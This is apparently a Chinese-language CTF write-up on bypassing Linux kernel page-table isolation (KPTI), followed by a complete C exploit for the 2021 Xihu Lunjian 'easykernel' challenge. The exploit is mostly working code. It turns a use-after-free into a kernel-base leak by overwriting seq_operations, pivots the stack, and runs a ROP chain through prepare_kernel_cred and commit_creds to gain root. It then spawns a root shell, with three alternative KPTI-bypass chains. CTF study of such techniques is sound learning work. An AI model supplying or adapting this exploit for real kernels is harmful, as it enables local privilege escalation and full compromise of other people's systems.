KPTI
KPTI(Kernel page-table isolation)
,即内核页表隔离。通过把进程页表按照用户空间和内核空间隔离成两块来防止内核页表泄露。可以在append
选项下添加kpti=1
或nopti
来启用或禁用它Bypass
0x01
通过给shell函数注册一个捕捉异常信号,
signal(SIGSEGV, getshell);
0x02
在执行
swapgs
之前修改CR3
寄存器,使CR3
寄存器加0x1000
,然后进行iretq
即可0x03
利用函数
swapgs_restore_regs_and_return_to_usermode
来返回用户态该函数汇编如下所示:
0xffffffff8d400f30: pop r15
0xffffffff8d400f32: pop r14
0xffffffff8d400f34: pop r13
0xffffffff8d400f36: pop r12
0xffffffff8d400f38: pop rbp
0xffffffff8d400f39: pop rbx
0xffffffff8d400f3a: pop r11
0xffffffff8d400f3c: pop r10
0xffffffff8d400f3e: pop r9
0xffffffff8d400f40: pop r8
0xffffffff8d400f42: pop rax
0xffffffff8d400f43: pop rcx
0xffffffff8d400f44: pop rdx
0xffffffff8d400f45: pop rsi
0xffffffff8d400f46: mov rdi,rsp
0xffffffff8d400f49: mov rsp,QWORD PTR gs:0x6004 <========================
0xffffffff8d400f52: push QWORD PTR [rdi+0x30]
0xffffffff8d400f55: push QWORD PTR [rdi+0x28]
0xffffffff8d400f58: push QWORD PTR [rdi+0x20]
0xffffffff8d400f5b: push QWORD PTR [rdi+0x18]
0xffffffff8d400f5e: push QWORD PTR [rdi+0x10]
0xffffffff8d400f61: push QWORD PTR [rdi]
0xffffffff8d400f63: push rax
0xffffffff8d400f64: xchg ax,ax
0xffffffff8d400f66: mov rdi,cr3
0xffffffff8d400f69: jmp 0xffffffff8d400f9f
0xffffffff8d400f6b: mov rax,rdi
0xffffffff8d400f6e: and rdi,0x7ff
0xffffffff8d400f75: bt QWORD PTR gs:0x2c016,rdi
0xffffffff8d400f7f: jae 0xffffffff8d400f90
0xffffffff8d400f81: btr QWORD PTR gs:0x2c016,rdi
0xffffffff8d400f8b: mov rdi,rax
0xffffffff8d400f8e: jmp 0xffffffff8d400f98
0xffffffff8d400f90: mov rdi,rax
0xffffffff8d400f93: bts rdi,0x3f
0xffffffff8d400f98: or rdi,0x800
0xffffffff8d400f9f: or rdi,0x1000
0xffffffff8d400fa6: mov cr3,rdi
0xffffffff8d400fa9: pop rax
0xffffffff8d400faa: pop rdi
0xffffffff8d400fab: swapgs
0xffffffff8d400fae: nop DWORD PTR [rax]
0xffffffff8d400fb1: jmp 0xffffffff8d400fe0
0xffffffff8d400fb6: nop
0xffffffff8d400fb7: pop r15
0xffffffff8d400fb9: pop r14
0xffffffff8d400fbb: pop r13
0xffffffff8d400fbd: pop r12
0xffffffff8d400fbf: pop rbp
0xffffffff8d400fc0: pop rbx
0xffffffff8d400fc1: pop r11
0xffffffff8d400fc3: pop r10
0xffffffff8d400fc5: pop r9
0xffffffff8d400fc7: pop r8
0xffffffff8d400fc9: pop rax
0xffffffff8d400fca: pop rcx
0xffffffff8d400fcb: pop rdx
0xffffffff8d400fcc: pop rsi
0xffffffff8d400fcd: pop rdi
0xffffffff8d400fce: add rsp,0x8
0xffffffff8d400fd2: jmp 0xffffffff8d400fe0
0xffffffff8d400fd7: nop
0xffffffff8d400fd8: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff8d400fe0: test BYTE PTR [rsp+0x20],0x4
0xffffffff8d400fe5: jne 0xffffffff8d400fe9
0xffffffff8d400fe7: iretq
从偏移
0x19
开始即可,栈帧如下所示:target
0
0
get_root
user_cs
user_rflags
user_sp
user_ss
例题-2021-西湖论剑-easykernel
漏洞是0x20的堆块UAF,通过UAF覆盖seq_operations结构体来泄露地址和劫持程序流程,然后进行ROP
#include <stdio.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/socket.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <signal.h>
#define PATH "/dev/kerpwn"
int fd,seq_fd;
size_t kernel_base,mov_esp,pop_rdi,pop_rcx,mov_rdi_rax_req_ret,swapgs_ret,iretq,prepare_kernel_cred_addr,commit_creds_addr,Bypass_kpti_addr,mov_cr3_rdi,add_rdi_r14_ret,pop_r14,mov_rax_cr3_ret,mov_rdi_rax_callrcx,ret,pop_rax,or_rax_rdi_ret,mov_cr3_rax_pop_ret;
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void add(int size,char *buf){
size_t tmp[2];
tmp[0] = (size_t)size;
tmp[1] = (size_t)buf;
ioctl(fd,0x20,&tmp);
printf("\nAdd size %d: %s\n",size,buf);
}
void show(int index,int size,char *buf){
size_t tmp[3];
tmp[0] = (size_t)index;
tmp[1] = (size_t)size;
tmp[2] = (size_t)buf;
ioctl(fd,0x40,&tmp);
}
void delete(int index){
size_t tmp;
tmp = (size_t)index;
ioctl(fd,0x30,&tmp);
}
void edit(int index,int size,char *buf){
size_t tmp[3];
tmp[0] = (size_t)index;
tmp[1] = (size_t)size;
tmp[2] = (size_t)buf;
ioctl(fd,0x50,&tmp);
}
void getshell()
{
if(getuid() == 0)
{
puts("Get root!!!");
system("/bin/sh");
}
else
{
puts("[!] failed!");
}
}
int main(){+
save_status();
signal(SIGSEGV, getshell);
int i;
unsigned long *rop;
char buffer[0x100];
fd = open(PATH,O_RDWR);
char *cnt[0x10];
cnt[0] = malloc(0x20);
memset(cnt[0],0x41,0x20);
add(0x20,cnt[0]);
cnt[1] = malloc(0x20);
delete(0);
seq_fd = open("/proc/self/stat", O_RDONLY);
show(0,0x20,cnt[1]);
// write(1,cnt[1],0x20);
// printf("data: %llx %llx",,(size_t *)cnt[1]+1);
for(int i=0;i<4;i++){
printf("cnt %d:%llx\n",i,*((size_t *)cnt[1]+i));
}
kernel_base = *((size_t *)cnt[1]+0)-0x319d30;
printf("kernel base: 0x%llx\n",kernel_base);
mov_esp = kernel_base + (0xffffffff811a9a68-0xffffffff81000000); //0xffffffff811a9a68: mov esp, 0x89480040; ret;
pop_rdi = kernel_base + (0xffffffff81089250-0xffffffff81000000);//0xffffffff81089250: pop rdi; ret;
mov_rdi_rax_req_ret = kernel_base + (0xffffffff81b72e8b-0xffffffff81000000);//0xffffffff81b72e8b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
pop_rcx = kernel_base + (0xffffffff81255323-0xffffffff81000000);//0xffffffff81255323: pop rcx; ret;
swapgs_ret = kernel_base + (0xffffffff81075ef0-0xffffffff81000000);//0xffffffff81075ef0: swapgs; ret;
iretq = kernel_base + (0xffffffff8103a2ab-0xffffffff81000000);//0xffffffff8103a2ab: iretq; pop rbp; ret;
prepare_kernel_cred_addr = 0xc91d0+ kernel_base;
commit_creds_addr = 0xc8d40+ kernel_base;
Bypass_kpti_addr=kernel_base+0xc00f49;
mov_cr3_rdi = kernel_base + (0xffffffff81075ea0-0xffffffff81000000);//0xffffffff81075ea0: mov cr3, rdi; ret;
add_rdi_r14_ret = kernel_base + (0xffffffff828fb766-0xffffffff81000000);//0xffffffff828fb766: add rdi, r14; call rax;
pop_r14 = kernel_base + (0xffffffff814fdeff-0xffffffff81000000);//0xffffffff814fdeff: pop r14; ret;
mov_rax_cr3_ret = kernel_base + (0xffffffff81075e90-0xffffffff81000000);//0xffffffff81075e90: mov rax, cr3; ret;
mov_rdi_rax_callrcx = kernel_base + (0xffffffff828ecf9c-0xffffffff81000000);//0xffffffff828ecf9c: mov rdi, rax; call rcx;
ret = kernel_base + (0xffffffff810001dc-0xffffffff81000000);//0xffffffff810001dc: ret;
pop_rax = kernel_base + (0xffffffff8103d2a1-0xffffffff81000000);//0xffffffff8103d2a1: pop rax; ret;
or_rax_rdi_ret = kernel_base + 0x1315e;//0xffffffff8101315e: or rax, rdi; ret;
mov_cr3_rax_pop_ret = kernel_base + (0xffffffff810809d7-0xffffffff81000000);//0xffffffff810809d7: mov cr3, rax; pop rbp; ret;
// 0xffffffff81075e90: mov rax, cr3; ret;
//pop_rdi
printf("mov_esp: 0x%llx\n",mov_esp);
printf("swapgs_ret: 0x%llx\n",swapgs_ret);
printf("Bypass_kpti_addr : 0x%llx\n",Bypass_kpti_addr);
printf("mov_rax_cr3_ret : 0x%llx\n",mov_rax_cr3_ret);
getchar();
cnt[2] = malloc(0x20);
*(size_t *)cnt[2]=mov_esp;
edit(0,0x8,cnt[2]);
rop = mmap(0x89480000-0x1000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
for(i=0;i<(0x89480040-(0x89480000-0x1000))/8;)
{
rop[i++]=0x1234;
}
//Bypass方法一
rop[i++]=pop_rdi;
rop[i++]=0;
rop[i++]=prepare_kernel_cred_addr;
rop[i++] = pop_rcx;
rop[i++]=0;
rop[i++]=mov_rdi_rax_req_ret;
rop[i++]=commit_creds_addr;
rop[i++]= swapgs_ret;
rop[i++]= iretq;
rop[i++] = getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
//Bypass方法二
// rop[i++]=pop_rdi;
// rop[i++]=0;
// rop[i++]=prepare_kernel_cred_addr;
// rop[i++] = pop_rcx;
// rop[i++]=0;
// rop[i++]=mov_rdi_rax_req_ret;
// rop[i++]=commit_creds_addr;
// /*
// mov rax,cr3
// or rax,0x1000
// mov cr3,rax
// */
// rop[i++] = mov_rax_cr3_ret;
// rop[i++] = pop_rdi;
// rop[i++] = 0x1000;
// rop[i++] = or_rax_rdi_ret;
// rop[i++] = mov_cr3_rax_pop_ret;
// rop[i++]=0;
// rop[i++] = swapgs_ret;
// rop[i++] = iretq;
// rop[i++] = getshell;
// rop[i++] = user_cs;
// rop[i++] = user_rflags;
// rop[i++] = user_sp;
// rop[i++] = user_ss;
//Bypass方法三
// rop[i++]=pop_rdi;
// rop[i++]=0;
// rop[i++]=prepare_kernel_cred_addr;
// rop[i++] = pop_rcx;
// rop[i++]=0;
// rop[i++]=mov_rdi_rax_req_ret;
// rop[i++]=commit_creds_addr;
// rop[i++]=Bypass_kpti_addr;
// rop[i++]=0;
// rop[i++]=0;
// rop[i++] = getshell;
// rop[i++] = user_cs;
// rop[i++] = user_rflags;
// rop[i++] = user_sp;
// rop[i++] = user_ss;
read(seq_fd,&buffer,1);
return 0;
//gcc exp.c -o exp --static -masm=intel
}